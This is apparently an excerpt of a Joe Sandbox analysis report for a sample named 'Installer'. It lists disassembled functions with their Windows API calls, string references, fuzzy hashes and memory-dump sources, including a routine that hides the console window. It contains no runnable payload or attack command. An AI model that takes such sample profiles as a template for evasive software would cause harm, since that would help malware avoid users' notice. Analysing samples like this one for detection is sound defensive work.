Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b0cd69994b50927011dc60df9c7aeb4e5c8ff437ebb0c57776a33832127ad0d4
Instruction ID: b5c4f26aff0b0281b62aa8a75ce17c67d37369d39ac3d08a288238d26a83c6b9
Opcode Fuzzy Hash: b0cd69994b50927011dc60df9c7aeb4e5c8ff437ebb0c57776a33832127ad0d4
Instruction Fuzzy Hash: 7F7123B19055595FCF33AF34DC99AFBB7B8AB05300F1A81D9E448A7215DB304E848F50

Function 0034F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0034F8F5
IsDebuggerPresent.KERNEL32 ref: 0034F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0034F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0034F9E4

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 0c645a0111b18e338bafa2cee1cecd391fa6e923b8ea3da3f12171da7f50bec8
Instruction ID: 138bf7a91a1b20c4f867558ebdda8feab40f320dd9812732851e6fe31b3834a4
Opcode Fuzzy Hash: 0c645a0111b18e338bafa2cee1cecd391fa6e923b8ea3da3f12171da7f50bec8
Instruction Fuzzy Hash: 7A31D775D052199BDF22DFA5D949BCDBBF8AF08300F1041AAE40DAB250EB719A848F45

Function 00361F38 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035D2B4: HeapAlloc.KERNEL32(00000008,00343D4A,00000018,?,0035C308,00000001,00000364,00000018,FFFFFFFF,000000FF,?,003576E9,0035BF54,00000000,?,0034A67D), ref: 0035D2F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003620D9
FindNextFileW.KERNEL32(00000000,?), ref: 003621CD
FindClose.KERNEL32(00000000), ref: 0036220C
FindClose.KERNEL32(00000000), ref: 0036223F

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: be05d70df6dad39d131d79bbbcf536c13b2e18273427b9170b5af2408e0bbb55
Instruction ID: 3e02cdc9103431127cf7262fcf6b3c7eccb4f0283e9adc2ad846bf70f5e8e01a
Opcode Fuzzy Hash: be05d70df6dad39d131d79bbbcf536c13b2e18273427b9170b5af2408e0bbb55
Instruction Fuzzy Hash: 15515571904508AFDF269F289C85ABFB7B9DF45344F1A829DF8089B209EB308D419B60

Function 0036AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,0036AACD,?,?,?,?,?,?,?,?,?,?), ref: 0036AB88
__alloca_probe_16.LIBCMT ref: 0036AC43
__alloca_probe_16.LIBCMT ref: 0036ACD2
__freea.LIBCMT ref: 0036AD1D
__freea.LIBCMT ref: 0036AD23
__freea.LIBCMT ref: 0036AD59
__freea.LIBCMT ref: 0036AD5F
__freea.LIBCMT ref: 0036AD6F

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8fa0adf9177e6b75d54d452e02e24c1cd3bf77f15769d132b19037a72e0fab77
Instruction ID: 5076cf65ebc588612f83fa1d6c84799eb5fa9aa2ee3c53fb5feb4612db0b439f
Opcode Fuzzy Hash: 8fa0adf9177e6b75d54d452e02e24c1cd3bf77f15769d132b19037a72e0fab77
Instruction Fuzzy Hash: AF710572900A096FDF239E648C51FAF77BAEF45311F2A8055E904BB295E735DC408F62

Function 0034FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0034FE70
__alloca_probe_16.LIBCMT ref: 0034FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0034FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0034FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0034FF37
__alloca_probe_16.LIBCMT ref: 0034FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0034FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0034FFB9

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 96885d3f46b6412fb5d64e7713fbdbe41b5590211f6d4e42bfed639f5204ea18
Instruction ID: 50f55af91fd02c9c5451e34386ab74c70a058d26adf95e89798d6d107f7a4883
Opcode Fuzzy Hash: 96885d3f46b6412fb5d64e7713fbdbe41b5590211f6d4e42bfed639f5204ea18
Instruction Fuzzy Hash: 65519D7260061AAFEB225F60CC45FAB7BE9EF45750F1A443AFD15DE1A0D730AC548B50

Function 0035EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0035EEFC

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 96f4aed62ae2d163a8404596f163b5eceafb0931b0bd98938af56fa7f48f2c9e
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 7AB16872A003559FDB178F24CC81FAE7BB5EF19311F1A4165EC44AF292D6749E09C7A0

Function 00350D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00350D77
___except_validate_context_record.LIBVCRUNTIME ref: 00350D7F
_ValidateLocalCookies.LIBCMT ref: 00350E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00350E33
_ValidateLocalCookies.LIBCMT ref: 00350E88

Strings

csm, xrefs: 00350E1D

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 83d65296d9c1f32a391af9a148a5ccf8ffdb563598edadcec49046a085388385
Instruction ID: c6287b19c1afe775174186bed26e7265ea659ccbdde235811069c73e79348750
Opcode Fuzzy Hash: 83d65296d9c1f32a391af9a148a5ccf8ffdb563598edadcec49046a085388385
Instruction Fuzzy Hash: 50410534A006189BCF17DF68C886E9EBBF5AF45311F258455ED186F362D732AD09CB90

Function 00343C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00343CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00343CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00343CE0
__Getctype.LIBCPMT ref: 00343D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00343DD8

Strings

e.7, xrefs: 00343D67

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.7
API String ID: 3087743877-48725242
Opcode ID: 5d4835d15f0e1cbd73eefeed43dcc13759f11e729d521fd42f981f292b60d987
Instruction ID: 5f421ebfc39ebd575b3ee4ae95ba7811c64cb0905f9056809b7b848e2f241394
Opcode Fuzzy Hash: 5d4835d15f0e1cbd73eefeed43dcc13759f11e729d521fd42f981f292b60d987
Instruction Fuzzy Hash: 43412471E006188FCB26DF98D845BAEB7F5BB88720F058219D8196F391DB35AA41CF91

Function 003424B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 003424DD
ShowWindow.USER32(00000000,00000000), ref: 003424E6
GetCurrentThreadId.KERNEL32 ref: 00342524

Part of subcall function 0034F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0034253A,?,?,00000000), ref: 0034F129
Part of subcall function 0034F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0034253A,?,?,00000000), ref: 0034F142
Part of subcall function 0034F11D: CloseHandle.KERNEL32(?,?,?,0034253A,?,?,00000000), ref: 0034F154

std::_Throw_Cpp_error.LIBCPMT ref: 00342567
std::_Throw_Cpp_error.LIBCPMT ref: 00342578
std::_Throw_Cpp_error.LIBCPMT ref: 00342589
std::_Throw_Cpp_error.LIBCPMT ref: 0034259A

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 0db8c3b5bcdb0c04f8dde73cec30c985d1d0c51d04760aa19b33e6c09c7a1102
Instruction ID: 2c8a740766a7d515d8ecb75ffee1ce2b2aa4b59a0e0ed38ab1b06a6d59380b5c
Opcode Fuzzy Hash: 0db8c3b5bcdb0c04f8dde73cec30c985d1d0c51d04760aa19b33e6c09c7a1102
Instruction Fuzzy Hash: 472174F2D402159BDF12AF949C06BDFBAF8AF04710F080165F9087E291E7B6B554CBA6

Function 0035CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,0035D01A,00341170,0034AA08,?,?), ref: 0035CFCC

Strings

api-ms-, xrefs: 0035CF62
ext-ms-, xrefs: 0035CF76

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f8608a2687a9ae2a0c022313fa8d6f8727e5bc3deecbbd76761d8a31658c17cb
Instruction ID: 657c2cce6cffb0c270b6987f3b3fe28868177f020f009fd6f6d6db500577adeb
Opcode Fuzzy Hash: f8608a2687a9ae2a0c022313fa8d6f8727e5bc3deecbbd76761d8a31658c17cb
Instruction Fuzzy Hash: 2F210231A11711AFCB338B64DC51E5AB76EDF4176AF261111ED0AA72A0DB30ED08CBD0

Function 00350080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00350086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00350094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003500A5

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0035008E
GetTempPath2W, xrefs: 0035009A
kernel32.dll, xrefs: 00350081

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: a78279016db0e105796bff3dfa2a4c3ccc38c584e7334cb60eb4e52104d03210
Instruction ID: 22bb88bbdf0eaba090eb5ed19d01c28d6ce326d76497271f9966139a2d351e1a
Opcode Fuzzy Hash: a78279016db0e105796bff3dfa2a4c3ccc38c584e7334cb60eb4e52104d03210
Instruction Fuzzy Hash: 48D05E31515611AB83336F747C0A8CD3AACFB09700B018066F40CD2250DB7846808B55

Function 00364F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77381f4de6212eb5be665cf58c38c59a693a4d12b686aec2292e4ef5dc28e891
Instruction ID: 2c30dbdd3e1e02bb5f2b1b9648e6e84977140788c8a023917e60d7d0a364c5bd
Opcode Fuzzy Hash: 77381f4de6212eb5be665cf58c38c59a693a4d12b686aec2292e4ef5dc28e891
Instruction Fuzzy Hash: FFB13974E08A499FDF13CFA8D851FADBBB4BF45304F148168E9056B396C7709941CBA0

Function 00349B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00349C97
std::_Throw_Cpp_error.LIBCPMT ref: 00349CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00349CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00349CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00349CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00349D06

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 76200910d99c365ff2498cc334091e5a7efee250a1174041ce7995431ac5614f
Instruction ID: 5853e9132e6275034fc5f4a4bc11d36b1f584bec4b84c4415866b5376c419cd4
Opcode Fuzzy Hash: 76200910d99c365ff2498cc334091e5a7efee250a1174041ce7995431ac5614f
Instruction Fuzzy Hash: E641B0B5900740CBDB329F658946BABB7F8BF45320F18062ED57A2E2D1D771B904CB92

Function 0035ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0035ACDE,00350760,0034B77F,BB40E64E,?,?,?,?,0036BFCA,000000FF), ref: 0035ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0035AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0035AD1C
SetLastError.KERNEL32(00000000,?,0035ACDE,00350760,0034B77F,BB40E64E,?,?,?,?,0036BFCA,000000FF), ref: 0035AD6E

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6a76312f6f15c84f5e5754c21f6659e176dadbbccdd14e2e4feed7a7d54d59a6
Instruction ID: 14e43dcd9a7b5f8a5cedc4bbc4128f24ee9c6e686fbe45b3b95638d79b7185c0
Opcode Fuzzy Hash: 6a76312f6f15c84f5e5754c21f6659e176dadbbccdd14e2e4feed7a7d54d59a6
Instruction Fuzzy Hash: 6E01F932205A159EE73736746C96D2666F8EB01B73B20032EFA24565F0EF1148466181

Function 0035B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0035B68D
CallUnexpected.LIBVCRUNTIME ref: 0035B906

Strings

csm, xrefs: 0035B6C4
csm, xrefs: 0035B5AB
csm, xrefs: 0035B618

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: e28fffb52756845bef3db5280c118e9d3f393887d4dfc0443f813dd341aed89e
Instruction ID: e6d74ff29051f218c6f1ecf89e93e4d02282d616f5121435d9f7b79ddc995546
Opcode Fuzzy Hash: e28fffb52756845bef3db5280c118e9d3f393887d4dfc0443f813dd341aed89e
Instruction Fuzzy Hash: 24B14871800209EFCF1ADFA4C881DAEB7B9BF04312F16455AEC11AB222D731DA59DB91

Function 0034BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0034BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0034C028

Strings

csm, xrefs: 0034BEB7
MOC, xrefs: 0034BE9F
RCC, xrefs: 0034BEAB

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 868a1655a2f8a1b924dbc61b8e2d3783b835c1ff00188c832ee9586cdcc75f49
Instruction ID: 7c14c02b99a1ba0353c90b5d36609c42d46d2b1127f6db6f30b5955878be6de1
Opcode Fuzzy Hash: 868a1655a2f8a1b924dbc61b8e2d3783b835c1ff00188c832ee9586cdcc75f49
Instruction Fuzzy Hash: A7418974900209DFCB2ADF68C9459ADF7F9AF48300B59805DE44AAF652C734FA49CB52

Function 003555C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0036BE94,000000FF,?,00355685,?,?,00355721,00000000), ref: 003555F9
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,0036BE94,000000FF,?,00355685,?,?,00355721,00000000), ref: 0035560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0036BE94,000000FF,?,00355685,?,?,00355721,00000000), ref: 0035562D

Strings

mscoree.dll, xrefs: 003555F2
CorExitProcess, xrefs: 00355603

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

